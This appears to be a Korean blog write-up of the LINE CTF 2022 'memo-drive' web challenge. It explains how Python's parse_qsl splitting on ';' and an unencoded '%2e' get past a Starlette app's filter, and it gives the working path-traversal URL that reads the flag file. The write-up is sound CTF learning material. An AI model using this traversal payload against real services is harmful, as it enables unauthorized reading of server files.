티스토리 뷰

728x90
반응형

문제 개요

File Path Traversal with bug on urllib.parse's parse_qsl

 

위 이미지는 문제의 첫 화면입니다. "Please input memo contents" Placeholder 부분에 내용을 작성 후 SAVE 버튼을 누르면 아래 Memo List 에 최대 3개까지 메모 내용이 올라갑니다.

 

내용에 "Hello my name is domdomi" 라고 작성 후 SAVE 버튼을 누르게 되면 아래와 같이 이상한 숫자로 이루어진 항목이 생겨나게 되고

해당 항목을 클릭하면 아래 URL로 이동하면서

/view?085be04717214b4ab8b2dcbdc4b0029e=0_20220328034323

위와 같이 작성했던 내용이 포함된 페이지가 나옵니다.

 

코드 분석

우선 Dockerfile 을 보면 FLAG 의 경로를 알 수 있습니다. (중요 내용만 포함하고 나머지는 생략했습니다)

ENV MEMO /usr/local/opt/memo-drive
COPY ./memo-drive "${MEMO}"
COPY flag "${MEMO}/memo/flag"
WORKDIR "${MEMO}"

 

그리고 requirements.txt 파일인데요. 중요한 건 어떤 웹 프레임워크를 사용했는지입니다. Flask 일 줄 알았는데 다른 라이브러리더군요. 최신 버전이 0.19.0 인데 0.16.0 이었습니다.

starlette==0.16.0

 

아래는 index.py 에 있는 view 라우터에 대한 코드입니다.

def view(request):
    context = {}

    try:
        context['request'] = request
        clientId = getClientID(request.client.host)

        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise
        
        filename = request.query_params[clientId]
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
        
        f = open(path, 'r')
        contents = f.readlines()
        f.close()
        
        context['filename'] = filename
        context['contents'] = contents
    
    except:
        pass
    
    return templates.TemplateResponse('/view/view.html', context)

위 코드에서 취약한 부분은 여럿 있는데 차례로 설명하기로 하고, 우선 Path Traversal이 가능한 지점부터 보면 아래와 같습니다.

path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

request 의 query_params 에서 keys() 함수를 사용해서 key 값들을 모두 뽑아옵니다. 참고로 starlette 의 query_params 에서는 urllib.parse 모듈의 parse_qsl 함수를 사용합니다. 해당 코드는 아래에서 살펴볼 수 있습니다.

https://github.com/encode/starlette/blob/0.16.0/starlette/datastructures.py#L393

 

GitHub - encode/starlette: The little ASGI framework that shines. 🌟

The little ASGI framework that shines. 🌟. Contribute to encode/starlette development by creating an account on GitHub.

github.com

 

이 parse_qsl 함수에는 어떤 문제점이 있냐면 쿼리스트링 파라미터들을 & 로 구분할 뿐만 아니라 ; 로도 구분한다는 것에 있습니다. 

그러므로 해당 조건문에서의 필터링은 우회가 가능한 요소가 있다는 것입니다. 아래 코드에서 & 문자가 ; 문자로 우회가 될 것입니다.

if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
	raise

또 한 가지는 request.url.query 에서 . 을 필터링하고 있는데 unquote 함수를 따로 쓰고 있지 않아서 %2e 로 URL 인코딩해주면 우회가 가능합니다.

 

결론적으로 위와 같은 취약점들을 이용해서 아래와 같은 형태를 만들게 되면 문제를 풀 수 있게됩니다.

'./memo/b31d134ea047c9ccf19536404d7995df/../flag'

 

문제 풀이

URL 파라미터를 아래와 같이 해보았습니다.

'http://hostname:port/view?b31d134ea047c9ccf19536404d7995df=flag;/%2e%2e'

 

그럼 위 내용에서 각각 아래 내용에 들어가게 됩니다.

# filename = request.query_params[clientId]
filename = 'flag'

# request.query_params
[('b31d134ea047c9ccf19536404d7995df', 'flag'), ('/..', '')]

# request.query_params.keys()
dict_keys(['b31d134ea047c9ccf19536404d7995df', '/..'])

# "".join(request.query_params.keys())
b31d134ea047c9ccf19536404d7995df/..

 

그럼 이제 path 변수에 대입하던 형태로 동일하게 대입을 해보면

# path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
path = './memo/' + 'b31d134ea047c9ccf19536404d7995df/..' + '/' + 'flag'

위와 같이 만들어지게 되므로 결국 원하는 결과가 나오게 됩니다.

'./memo/b31d134ea047c9ccf19536404d7995df/../flag'
'./memo/flag'

 

이와 같이 해서 아래와 같이 Flag 값을 획득할 수 있었습니다.

본 문제는 LINECTF2022 에서 웹 분야로 사람들이 두 번째로 많이 푼 문제인 것 같습니다. 소스코드만 좀 분석해보면 되는 문제라서 비교적 빨리 풀 수 있는 문제 같습니다.

 

- 끝 -

728x90
반응형
댓글